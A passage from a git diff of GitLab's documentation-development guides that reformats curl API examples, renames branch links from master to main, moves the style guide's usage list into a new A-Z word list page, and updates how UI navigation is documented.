"https://gitlab.example.com/api/v4/groups" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ + --data '{"path": "my-group", "name": "My group"}' "https://gitlab.example.com/api/v4/groups" ``` For readability, you can also set up the `--data` by using the following format: @@ -169,7 +173,8 @@ Instead of using JSON or URL-encoding data, you can use `multipart/form-data` wh properly handles data encoding: ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "title=ssh-key" --form "key=ssh-rsa AAAAB3NzaC1yc2EA..." "https://gitlab.example.com/api/v4/users/25/keys" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "title=ssh-key" \ + --form "key=ssh-rsa AAAAB3NzaC1yc2EA..." "https://gitlab.example.com/api/v4/users/25/keys" ``` The above example is run by and administrator and will add an SSH public key @@ -195,5 +200,6 @@ exclude specific users when requesting a list of users for a project, you would do something like this: ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --data "skip_users[]=<user_id>" --data "skip_users[]=<user_id>" "https://gitlab.example.com/api/v4/projects/<project_id>/users" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --data "skip_users[]=<user_id>" \ + --data "skip_users[]=<user_id>" "https://gitlab.example.com/api/v4/projects/<project_id>/users" ``` diff --git a/doc/development/documentation/site_architecture/deployment_process.md b/doc/development/documentation/site_architecture/deployment_process.md index d92f58e5501..1b764ada87b 100644 --- a/doc/development/documentation/site_architecture/deployment_process.md +++ b/doc/development/documentation/site_architecture/deployment_process.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Documentation deployment process -The [`dockerfiles` directory](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/dockerfiles/) +The [`dockerfiles` directory](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/dockerfiles/) contains all needed Dockerfiles to build and deploy <https://docs.gitlab.com>. It is heavily inspired by Docker's [Dockerfile](https://github.com/docker/docker.github.io/blob/06ed03db13895bfe867761b6fc2ad40acf6026dd/Dockerfile). @@ -15,10 +15,10 @@ The following Dockerfiles are used. | Dockerfile | Docker image | Description | | ---------- | ------------ | ----------- | -| [`Dockerfile.bootstrap`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/dockerfiles/Dockerfile.bootstrap) | `gitlab-docs:bootstrap` | Contains all the dependencies that are needed to build the website. If the gems are updated and `Gemfile{,.lock}` changes, the image must be rebuilt. | -| [`Dockerfile.builder.onbuild`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/dockerfiles/Dockerfile.builder.onbuild) | `gitlab-docs:builder-onbuild` | Base image to build the docs website. It uses `ONBUILD` to perform all steps and depends on `gitlab-docs:bootstrap`. | -| [`Dockerfile.nginx.onbuild`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/dockerfiles/Dockerfile.nginx.onbuild) | `gitlab-docs:nginx-onbuild` | Base image to use for building documentation archives. It uses `ONBUILD` to perform all required steps to copy the archive, and relies upon its parent `Dockerfile.builder.onbuild` that is invoked when building single documentation archives (see the `Dockerfile` of each branch. | -| [`Dockerfile.archives`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/dockerfiles/Dockerfile.archives) | `gitlab-docs:archives` | Contains all the versions of the website in one archive. It copies all generated HTML files from every version in one location. | +| [`Dockerfile.bootstrap`](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/dockerfiles/Dockerfile.bootstrap) | `gitlab-docs:bootstrap` | Contains all the dependencies that are needed to build the website. If the gems are updated and `Gemfile{,.lock}` changes, the image must be rebuilt. | +| [`Dockerfile.builder.onbuild`](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/dockerfiles/Dockerfile.builder.onbuild) | `gitlab-docs:builder-onbuild` | Base image to build the docs website. It uses `ONBUILD` to perform all steps and depends on `gitlab-docs:bootstrap`. | +| [`Dockerfile.nginx.onbuild`](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/dockerfiles/Dockerfile.nginx.onbuild) | `gitlab-docs:nginx-onbuild` | Base image to use for building documentation archives. It uses `ONBUILD` to perform all required steps to copy the archive, and relies upon its parent `Dockerfile.builder.onbuild` that is invoked when building single documentation archives (see the `Dockerfile` of each branch. | +| [`Dockerfile.archives`](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/dockerfiles/Dockerfile.archives) | `gitlab-docs:archives` | Contains all the versions of the website in one archive. It copies all generated HTML files from every version in one location. | ## How to build the images @@ -36,7 +36,7 @@ and tag all tooling images locally: ``` For each image, there's a manual job under the `images` stage in -[`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/.gitlab-ci.yml) which can be invoked at any time. +[`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/.gitlab-ci.yml) which can be invoked at any time. ## Update an old Docker image with new upstream docs content @@ -55,10 +55,10 @@ The website keeps changing and being improved. In order to consolidate those changes to the stable branches, we'd need to pick certain changes from time to time. -If this is not possible or there are many changes, merge master into them: +If this is not possible or there are many changes, merge main into them: ```shell git branch 12.0 -git fetch origin master -git merge origin/master +git fetch origin main +git merge origin/main ``` diff --git a/doc/development/documentation/site_architecture/global_nav.md b/doc/development/documentation/site_architecture/global_nav.md index 7175a9f1a5c..aeaf12e23d1 100644 --- a/doc/development/documentation/site_architecture/global_nav.md +++ b/doc/development/documentation/site_architecture/global_nav.md @@ -23,7 +23,7 @@ Global navigation (the left-most pane in our three pane documentation) provides: ## Adding new items To add a topic to the global nav, edit -[`navigation.yaml`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/content/_data/navigation.yaml) +[`navigation.yaml`](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/content/_data/navigation.yaml) and add your item. All new pages need a new navigation item. Without a navigation, the page becomes "orphaned". That @@ -109,7 +109,7 @@ the data among the nav in containers properly [styled](#css-classes). ### Data file The data file describes the structure of the navigation for the applicable project. -It is stored at <https://gitlab.com/gitlab-org/gitlab-docs/blob/master/content/_data/navigation.yaml> +It is stored at <https://gitlab.com/gitlab-org/gitlab-docs/blob/main/content/_data/navigation.yaml> and comprises of three main components: - Sections @@ -267,19 +267,19 @@ Examples of relative URLs: ### Layout file (logic) -The [layout](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/layouts/global_nav.html) +The [layout](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/layouts/global_nav.html) is fed by the [data file](#data-file), builds the global nav, and is rendered by the -[default](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/layouts/default.html) layout. +[default](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/layouts/default.html) layout. The global nav contains links from all [four upstream projects](index.md#architecture). The [global nav URL](#urls) has a different prefix depending on the documentation file you change. -| Repository | Link prefix | Final URL | -|----------------------------------------------------------------|-------------|-----------| -| <https://gitlab.com/gitlab-org/gitlab/tree/master/doc> | `ee/` |`https://docs.gitlab.com/ee/` | -| <https://gitlab.com/gitlab-org/omnibus-gitlab/tree/master/doc> | `omnibus/` |`https://docs.gitlab.com/omnibus/` | -| <https://gitlab.com/gitlab-org/gitlab-runner/tree/master/docs> | `runner/` |`https://docs.gitlab.com/runner/` | -| <https://gitlab.com/charts/gitlab/tree/master/doc> | `charts/` |`https://docs.gitlab.com/charts/` | +| Repository | Link prefix | Final URL | +|----------------------------------------------------------------|-------------|------------------------------------| +| <https://gitlab.com/gitlab-org/gitlab/-/tree/master/doc> | `ee/` | `https://docs.gitlab.com/ee/` | +| <https://gitlab.com/gitlab-org/omnibus-gitlab/tree/master/doc> | `omnibus/` | `https://docs.gitlab.com/omnibus/` | +| <https://gitlab.com/gitlab-org/gitlab-runner/-/tree/main/docs> | `runner/` | `https://docs.gitlab.com/runner/` | +| <https://gitlab.com/charts/gitlab/tree/master/doc> | `charts/` | `https://docs.gitlab.com/charts/` | ### CSS classes diff --git a/doc/development/documentation/site_architecture/index.md b/doc/development/documentation/site_architecture/index.md index 35e9ab5157b..d410d77a1a0 100644 --- a/doc/development/documentation/site_architecture/index.md +++ b/doc/development/documentation/site_architecture/index.md @@ -49,9 +49,9 @@ GitLab docs content isn't kept in the `gitlab-docs` repository. All documentation files are hosted in the respective repository of each product, and all together are pulled to generate the docs website: -- [GitLab](https://gitlab.com/gitlab-org/gitlab/tree/master/doc) +- [GitLab](https://gitlab.com/gitlab-org/gitlab/-/tree/master/doc) - [Omnibus GitLab](https://gitlab.com/gitlab-org/omnibus-gitlab/tree/master/doc) -- [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner/tree/master/docs) +- [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner/-/tree/main/docs) - [GitLab Chart](https://gitlab.com/charts/gitlab/tree/master/doc) NOTE: @@ -114,7 +114,7 @@ located in the [Dockerfiles directory](https://gitlab.com/gitlab-org/gitlab-docs If you need to rebuild the Docker images immediately (must have maintainer level permissions): WARNING: -If you change the Dockerfile configuration and rebuild the images, you can break the master +If you change the Dockerfile configuration and rebuild the images, you can break the main pipeline in the main `gitlab` repository as well as in `gitlab-docs`. Create an image with a different name first and test it to ensure you do not break the pipelines. @@ -132,7 +132,7 @@ a different name first and test it to ensure you do not break the pipelines. ### Deploy the docs site Every four hours a scheduled pipeline builds and deploys the docs site. The pipeline -fetches the current docs from the main project's master branch, builds it with Nanoc +fetches the current docs from the main project's main branch, builds it with Nanoc and deploys it to <https://docs.gitlab.com>. If you need to build and deploy the site immediately (must have maintainer level permissions): @@ -196,11 +196,11 @@ The links pointing to the files should be similar to: ``` Nanoc then builds and renders those links correctly according with what's -defined in [`Rules`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/Rules). +defined in [`Rules`](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/Rules). ## Linking to source files -A helper called [`edit_on_gitlab`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/lib/helpers/edit_on_gitlab.rb) can be used +A helper called [`edit_on_gitlab`](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/lib/helpers/edit_on_gitlab.rb) can be used to link to a page's source file. We can link to both the simple editor and the web IDE. Here's how you can use it in a Nanoc layout: @@ -223,9 +223,9 @@ for its search function. This is how it works: every 24h and [stores](https://community.algolia.com/docsearch/inside-the-engine.html) the [DocSearch index](https://community.algolia.com/docsearch/how-do-we-build-an-index.html) on [Algolia's servers](https://community.algolia.com/docsearch/faq.html#where-is-my-data-hosted%3F). -1. On the docs side, we use a [DocSearch layout](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/layouts/docsearch.html) which +1. On the docs side, we use a [DocSearch layout](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/layouts/docsearch.html) which is present on pretty much every page except <https://docs.gitlab.com/search/>, - which uses its [own layout](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/layouts/instantsearch.html). In those layouts, + which uses its [own layout](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/layouts/instantsearch.html). In those layouts, there's a JavaScript snippet which initiates DocSearch by using an API key and an index name (`gitlab`) that are needed for Algolia to show the results. diff --git a/doc/development/documentation/site_architecture/release_process.md b/doc/development/documentation/site_architecture/release_process.md index 9329b93bb26..46c74335932 100644 --- a/doc/development/documentation/site_architecture/release_process.md +++ b/doc/development/documentation/site_architecture/release_process.md @@ -1,5 +1,6 @@ --- redirect_to: 'https://about.gitlab.com/handbook/engineering/ux/technical-writing/workflow/#monthly-documentation-releases' +remove_date: '2021-07-12' --- This file was moved to [another location](https://about.gitlab.com/handbook/engineering/ux/technical-writing/workflow/#monthly-documentation-releases). diff --git a/doc/development/documentation/structure.md b/doc/development/documentation/structure.md index 67bdbffa2a1..871fb26ce08 100644 --- a/doc/development/documentation/structure.md +++ b/doc/development/documentation/structure.md @@ -109,7 +109,7 @@ Create an issue when you want to track bugs or future work. Prerequisites: -- A minimum of Contributor access to a project in GitLab. +- You must have at least the Developer role for a project. To create an issue: diff --git a/doc/development/documentation/styleguide/index.md b/doc/development/documentation/styleguide/index.md index 0ac393a8509..225db273cb6 100644 --- a/doc/development/documentation/styleguide/index.md +++ b/doc/development/documentation/styleguide/index.md @@ -15,12 +15,13 @@ use the `#docs-processes` channel. In addition to this page, the following resources can help you craft and contribute to documentation: - [Doc contribution guidelines](../index.md) +- [A-Z word list](word_list.md) - [Doc style and consistency testing](../testing.md) - [UI text guidelines](https://design.gitlab.com/content/error-messages/) - [GitLab Handbook style guidelines](https://about.gitlab.com/handbook/communication/#writing-style-guidelines) - [Microsoft Style Guide](https://docs.microsoft.com/en-us/style-guide/welcome/) - [Google Developer Documentation Style Guide](https://developers.google.com/style) -- [Recent updates to this guide](https://gitlab.com/dashboard/merge_requests?scope=all&utf8=%E2%9C%93&state=merged&label_name[]=tw-style¬[label_name][]=docs%3A%3Afix) +- [Recent updates to this guide](https://gitlab.com/dashboard/merge_requests?scope=all&state=merged&label_name[]=tw-style¬[label_name][]=docs%3A%3Afix) ## Documentation is the single source of truth (SSOT) @@ -305,13 +306,6 @@ GitLab documentation should be clear and easy to understand. - Write in US English with US grammar. (Tested in [`British.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/British.yml).) - Use [inclusive language](#inclusive-language). -### Trademark - -Only use the GitLab name and trademarks in accordance with -[GitLab Brand Guidelines](https://about.gitlab.com/handbook/marketing/corporate-marketing/brand-activation/brand-guidelines/#trademark). - -Don't use the possessive form of the word GitLab (`GitLab's`). - ### Capitalization #### Headings @@ -371,7 +365,7 @@ Capitalize names of: - Methods or methodologies. For example, Continuous Integration, Continuous Deployment, Scrum, and Agile. -Follow the capitalization style listed at the [authoritative source](#links-to-external-documentation) +Follow the capitalization style listed at the authoritative source for the entity, which may use non-standard case styles. For example: GitLab and npm. @@ -499,39 +493,6 @@ You can use these fake tokens as examples: | Health check token | `Tu7BgjR9qeZTEyRzGG2P` | | Request profile token | `7VgpS4Ax5utVD2esNstz` | -### Usage list -<!-- vale off --> - -| Usage | Guidance | -|-----------------------|----------| -| above | Try to avoid extra words when referring to an example or table in a documentation page, but if required, use **previously** instead. | -| admin, admin area | Use **administration**, **administrator**, **administer**, or **Admin Area** instead. ([Vale](../testing.md#vale) rule: [`Admin.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/Admin.yml)) | -| allow, enable | Try to avoid, unless you are talking about security-related features. For example, instead of "This feature allows you to create a pipeline," use "Use this feature to create a pipeline." This phrasing is more active and is from the user perspective, rather than the person who implemented the feature. [View details](https://docs.microsoft.com/en-us/style-guide/a-z-word-list-term-collections/a/allow-allows). | -| and/or | Use **or** instead, or another sensible construction. | -| below | Try to avoid extra words when referring to an example or table in a documentation page, but if required, use **following** instead. | -| currently | Do not use when talking about the product or its features. The documentation describes the product as it is today. ([Vale](../testing.md#vale) rule: [`CurrentStatus.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/CurrentStatus.yml)) | -| easily | Do not use. If the user doesn't find the process to be these things, we lose their trust. | -| e.g. | Do not use Latin abbreviations. Use **for example**, **such as**, **for instance**, or **like** instead. ([Vale](../testing.md#vale) rule: [`LatinTerms.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/LatinTerms.yml)) | -| future tense | When possible, use present tense instead. For example, use `after you execute this command, GitLab displays the result` instead of `after you execute this command, GitLab will display the result`. ([Vale](../testing.md#vale) rule: [`FutureTense.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FutureTense.yml)) | -| handy | Do not use. If the user doesn't find the process to be these things, we lose their trust. | -| high availability, HA | Do not use. Instead, direct readers to the GitLab [reference architectures](../../../administration/reference_architectures/index.md) for information about configuring GitLab for handling greater amounts of users. | -| I | Do not use first-person singular. Use **you**, **we**, or **us** instead. ([Vale](../testing.md#vale) rule: [`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml)) | -| i.e. | Do not use Latin abbreviations. Use **that is** instead. ([Vale](../testing.md#vale) rule: [`LatinTerms.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/LatinTerms.yml)) | -| jargon | Do not use. Define the term or [link to a definition](#links-to-external-documentation). | -| may, might | **Might** means something has the probability of occurring. **May** gives permission to do something. Consider **can** instead of **may**. | -| me, myself, mine | Do not use first-person singular. Use **you**, **we**, or **us** instead. ([Vale](../testing.md#vale) rule: [`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml)) | -| please | Do not use. For details, see the [Microsoft style guide](https://docs.microsoft.com/en-us/style-guide/a-z-word-list-term-collections/p/please). | -| profanity | Do not use. Doing so may negatively affect other users and contributors, which is contrary to the GitLab value of [Diversity, Inclusion, and Belonging](https://about.gitlab.com/handbook/values/#diversity-inclusion). | -| scalability | Do not use when talking about increasing GitLab performance for additional users. The words scale or scaling are sometimes acceptable, but references to increasing GitLab performance for additional users should direct readers to the GitLab [reference architectures](../../../administration/reference_architectures/index.md) page. | -| simply | Do not use. If the user doesn't find the process to be these things, we lose their trust. | -| slashes | Instead of **and/or**, use **or** or another sensible construction. This rule also applies to other slashes, like **follow/unfollow**. Some exceptions (like **CI/CD**) are allowed. | -| subgroup | Use instead of `sub-group`. | -| that | Do not use. Example: `the file that you save` can be `the file you save`. | -| useful | Do not use. If the user doesn't find the process to be these things, we lose their trust. | -| utilize | Do not use. Use **use** instead. It's more succinct and easier for non-native English speakers to understand. | -| via | Do not use Latin abbreviations. Use **with**, **through**, or **by using** instead. ([Vale](../testing.md#vale) rule: [`LatinTerms.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/LatinTerms.yml)) | - -<!-- vale on --> ### Contractions Contractions are encouraged, and can create a friendly and informal tone, @@ -540,7 +501,7 @@ especially in tutorials, instructional documentation, and Some contractions, however, should be avoided: -- Do not use [the word GitLab in a contraction](#trademark). +- Do not use the word "GitLab" in a contraction. - Do not use contractions with a proper noun and a verb. For example: @@ -1108,36 +1069,42 @@ document to ensure it links to the most recent version of the file. ## Navigation -When documenting navigation through the user interface: - -- Use the exact wording as shown in the UI, including any capital letters as-is. -- Use bold text for navigation items. +When documenting navigation through the user interface, use these terms and styles. ### What to call the menus Use these terms when referring to the main GitLab user interface elements: -- **Top menu**: This is the top menu that spans the width of the user interface. - It includes the GitLab logo, search field, counters, and the user's avatar. +- **Top bar**: This is the top bar that spans the width of the user interface. + It includes the menu, the GitLab logo, search field, counters, and the user's avatar. - **Left sidebar**: This is the navigation sidebar on the left of the user interface, specific to the project or group. - **Right sidebar**: This is the navigation sidebar on the right of the user interface, specific to the open issue, merge request, or epic. -### How to document the left sidebar +### How to document the menus -To be consistent, use this format when you refer to the left sidebar. +To be consistent, use this format when you write about UI navigation. -- Go to your project and select **Settings > CI/CD**. -- Go to your group and select **Settings > CI/CD**. -- Go to the Admin Area (**{admin}**) and select **Overview > Projects**. +1. On the top bar, select **Menu > Project** and find your project. +1. On the left sidebar, select **Settings > CI/CD**. +1. Expand **General pipelines**. -For expandable menus, use this format: +Another example: -1. Go to your group and select **Settings > CI/CD**. +1. On the top bar, select **Menu > Group** and find your group. +1. On the left sidebar, select **Settings > CI/CD**. 1. Expand **General pipelines**. +An Admin Area example: + +`1. On the top bar, select **Menu >** **{admin}** **Admin**.` + +This text generates this HTML: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. + ## Images Images, including screenshots, can help a reader better understand a concept. @@ -1309,7 +1276,7 @@ hidden on the documentation site, but is displayed by `/help`. ## Code blocks - Always wrap code added to a sentence in inline code blocks (`` ` ``). - For example, `.gitlab-ci.yml`, `git add .`, `CODEOWNERS`, or `only: [master]`. + For example, `.gitlab-ci.yml`, `git add .`, `CODEOWNERS`, or `only: [main]`. File names, commands, entries, and anything that refers to code should be added to code blocks. To make things easier for the user, always add a full code block for things that can be useful to copy and paste, as they can do it @@ -1416,10 +1383,10 @@ readability of the text. For example, this Markdown adds little to the accompanying text: ```markdown -1. Go to **{home}** **Project overview > Details**. +1. Go to **{home}** **Project information > Details**. ``` -1. Go to **{home}** **Project overview > Details**. +1. Go to **{home}** **Project information > Details**. However, these tables might help the reader connect the text to the user interface: diff --git a/doc/development/documentation/styleguide/word_list.md b/doc/development/documentation/styleguide/word_list.md new file mode 100644 index 00000000000..fd8766bbfb6 --- /dev/null +++ b/doc/development/documentation/styleguide/word_list.md @@ -0,0 +1,163 @@ +--- +stage: none +group: Style Guide +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +description: 'Writing styles, markup, formatting, and other standards for GitLab Documentation.' +--- + +# A-Z word list + +To help ensure consistency in the documentation, follow this guidance. + +<!-- vale off --> +<!-- markdownlint-disable --> + +## above + +Try to avoid extra words when referring to an example or table in a documentation page, but if required, use **previously** instead. + +## admin, admin area + +Use **administration**, **administrator**, **administer**, or **Admin Area** instead. ([Vale](../testing.md#vale) rule: [`Admin.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/Admin.yml)) + +## allow, enable + +Try to avoid, unless you are talking about security-related features. For example, instead of "This feature allows you to create a pipeline," use "Use this feature to create a pipeline." This phrasing is more active and is from the user perspective, rather than the person who implemented the feature. [View details](https://docs.microsoft.com/en-us/style-guide/a-z-word-list-term-collections/a/allow-allows). + +## and/or + +Instead of **and/or**, use or or rewrite the sentence to spell out both options. + +## below + +Try to avoid extra words when referring to an example or table in a documentation page, but if required, use **following** instead. + +## currently + +Do not use when talking about the product or its features. The documentation describes the product as it is today. ([Vale](../testing.md#vale) rule: [`CurrentStatus.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/CurrentStatus.yml)) + +## Developer + +When writing about the Developer role, use a capital "D." Do not use the phrase, "if you are a developer" +to mean someone who is assigned the Developer role. Instead, write it out. "If you are assigned the Developer role..." + +Do not use "Developer permissions." A user who is assigned the Developer role has a set of associated permissions. + +## easily + +Do not use. If the user doesn't find the process to be these things, we lose their trust. + +## e.g. + +Do not use Latin abbreviations. Use **for example**, **such as**, **for instance**, or **like** instead. ([Vale](../testing.md#vale) rule: [`LatinTerms.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/LatinTerms.yml)) + +## future tense + +When possible, use present tense instead. For example, use `after you execute this command, GitLab displays the result` instead of `after you execute this command, GitLab will display the result`. ([Vale](../testing.md#vale) rule: [`FutureTense.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FutureTense.yml)) + +## GitLab + +Do not make possessive (GitLab's). This guidance follows [GitLab Brand Guidelines](https://about.gitlab.com/handbook/marketing/corporate-marketing/brand-activation/brand-guidelines/#trademark). + +## Guest + +When writing about the Guest role, use a capital "G." Do not use the phrase, "if you are a guest" +to mean someone who is assigned the Guest role. Instead, write it out. "If you are assigned the Guest role..." + +Do not use "Guest permissions." A user who is assigned the Guest role has a set of associated permissions. + +## handy + +Do not use. If the user doesn't find the process to be these things, we lose their trust. + +## high availability, HA + +Do not use. Instead, direct readers to the GitLab [reference architectures](../../../administration/reference_architectures/index.md) for information about configuring GitLab for handling greater amounts of users. + +## I + +Do not use first-person singular. Use **you**, **we**, or **us** instead. ([Vale](../testing.md#vale) rule: [`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml)) + +## i.e. + +Do not use Latin abbreviations. Use **that is** instead. ([Vale](../testing.md#vale) rule: [`LatinTerms.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/LatinTerms.yml)) + +## Maintainer + +When writing about the Maintainer role, use a capital "M." Do not use the phrase, "if you are a maintainer" +to mean someone who is assigned the Maintainer role. Instead, write it out. "If you are assigned the Maintainer role..." + +Do not use "Maintainer permissions." A user who is assigned the Maintainer role has a set of associated permissions. + +## may, might + +**Might** means something has the probability of occurring. **May** gives permission to do something. Consider **can** instead of **may**. + +## me, myself, mine + +Do not use first-person singular. Use **you**, **we**, or **us** instead. ([Vale](../testing.md#vale) rule: [`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml)) + +## Owner + +When writing about the Owner role, use a capital "M." Do not use the phrase, "if you are an owner" +to mean someone who is assigned the Owner role. Instead, write it out. "If you are assigned the Owner role..." + +Do not use "Owner permissions." A user who is assigned the Owner role has a set of associated permissions. + +## permissions + +Do not use roles and permissions interchangeably. Each user is assigned a role. Each role includes a set of permissions. + +## please + +Do not use. For details, see the [Microsoft style guide](https://docs.microsoft.com/en-us/style-guide/a-z-word-list-term-collections/p/please). + +## profanity + +Do not use. Doing so may negatively affect other users and contributors, which is contrary to the GitLab value of [Diversity, Inclusion, and Belonging](https://about.gitlab.com/handbook/values/#diversity-inclusion). + +## Reporter + +When writing about the Reporter role, use a capital "R." Do not use the phrase, "if you are a reporter" +to mean someone who is assigned the Reporter role. Instead, write it out. "If you are assigned the Reporter role..." + +Do not use "Reporter permissions." A user who is assigned the Reporter role has a set of associated permissions. + +## roles + +Do not use roles and permissions interchangeably. Each user is assigned a role. Each role includes a set of permissions. + +## scalability + +Do not use when talking about increasing GitLab performance for additional users. The words scale or scaling are sometimes acceptable, but references to increasing GitLab performance for additional users should direct readers to the GitLab [reference architectures](../../../administration/reference_architectures/index.md) page. + +## simply + +Do not use. If the user doesn't find the process to be these things, we lose their trust. + +## slashes + +Instead of **and/or**, use **or** or another sensible construction. This rule also applies to other slashes, like **follow/unfollow**. Some exceptions (like **CI/CD**) are allowed. + +## subgroup + +Use instead of `sub-group`. + +## that + +Do not use. Example: `the file that you save` can be `the file you save`. + +## useful + +Do not use. If the user doesn't find the process to be these things, we lose their trust. + +## utilize + +Do not use. Use **use** instead. It's more succinct and easier for non-native English speakers to understand. + +## via + +Do not use Latin abbreviations. Use **with**, **through**, or **by using** instead. ([Vale](../testing.md#vale) rule: [`LatinTerms.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/LatinTerms.yml)) + +<!-- vale on --> +<!-- markdownlint-enable --> diff --git a/doc/development/documentation/testing.md b/doc/development/documentation/testing.md index af95f3b9023..b634e2b93db 100644 --- a/doc/development/documentation/testing.md +++ b/doc/development/documentation/testing.md @@ -20,7 +20,7 @@ For the specifics of each test run in our CI/CD pipelines, see the configuration in the relevant projects: - <https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/docs.gitlab-ci.yml> -- <https://gitlab.com/gitlab-org/gitlab-runner/-/blob/master/.gitlab/ci/docs.gitlab-ci.yml> +- <https://gitlab.com/gitlab-org/gitlab-runner/-/blob/main/.gitlab/ci/docs.gitlab-ci.yml> - <https://gitlab.com/gitlab-org/omnibus-gitlab/-/blob/master/gitlab-ci-config/gitlab-com.yml> - <https://gitlab.com/gitlab-org/charts/gitlab/-/blob/master/.gitlab-ci.yml> @@ -44,7 +44,7 @@ To run tests locally, it's important to: ### Lint checks -Lint checks are performed by the [`lint-doc.sh`](https://gitlab.com/gitlab-org/gitlab/blob/master/scripts/lint-doc.sh) +Lint checks are performed by the [`lint-doc.sh`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/scripts/lint-doc.sh) script and can be executed as follows: 1. Navigate to the `gitlab` directory. @@ -168,7 +168,7 @@ You can use markdownlint: [Vale](https://docs.errata.ai/vale/about/) is a grammar, style, and word usage linter for the English language. Vale's configuration is stored in the -[`.vale.ini`](https://gitlab.com/gitlab-org/gitlab/blob/master/.vale.ini) file located in the root +[`.vale.ini`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.vale.ini) file located in the root directory of projects. Vale supports creating [custom tests](https://errata-ai.github.io/vale/styles/) that extend any of @@ -178,7 +178,7 @@ documentation directory of projects. You can find Vale configuration in the following projects: - [`gitlab`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/doc/.vale/gitlab) -- [`gitlab-runner`](https://gitlab.com/gitlab-org/gitlab-runner/-/tree/master/docs/.vale/gitlab) +- [`gitlab-runner`](https://gitlab.com/gitlab-org/gitlab-runner/-/tree/main/docs/.vale/gitlab) - [`omnibus-gitlab`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/tree/master/doc/.vale/gitlab) - [`charts`](https://gitlab.com/gitlab-org/charts/gitlab/-/tree/master/doc/.vale/gitlab) - [`gitlab-development-kit`](https://gitlab.com/gitlab-org/gitlab-development-kit/-/tree/master/doc/.vale/gitlab) @@ -222,7 +222,7 @@ build pipelines: ``` We recommend installing the version of `markdownlint-cli` - [used](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/.gitlab-ci.yml#L447) when building + [used (see `variables:` section)](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/main/.gitlab-ci.yml) when building the `image:docs-lint-markdown`. 1. Install [`vale`](https://github.com/errata-ai/vale/releases). For example, to install using @@ -240,7 +240,7 @@ It's important to use linter versions that are the same or newer than those run CI/CD. This provides access to new features and possible bug fixes. To match the versions of `markdownlint-cli` and `vale` used in the GitLab projects, refer to the -[versions used](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/.gitlab-ci.yml#L447) +[versions used (see `variables:` section)](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/main/.gitlab-ci.yml) when building the `image:docs-lint-markdown` Docker image containing these tools for CI/CD. | Tool | Version | Command | Additional information | @@ -273,7 +273,7 @@ To configure Vale in your editor, install one of the following as appropriate: - Select the **Use CLI** checkbox. - In the <!-- vale gitlab.Spelling = NO --> **Config** setting, enter an absolute - path to [`.vale.ini`](https://gitlab.com/gitlab-org/gitlab/blob/master/.vale.ini) + path to 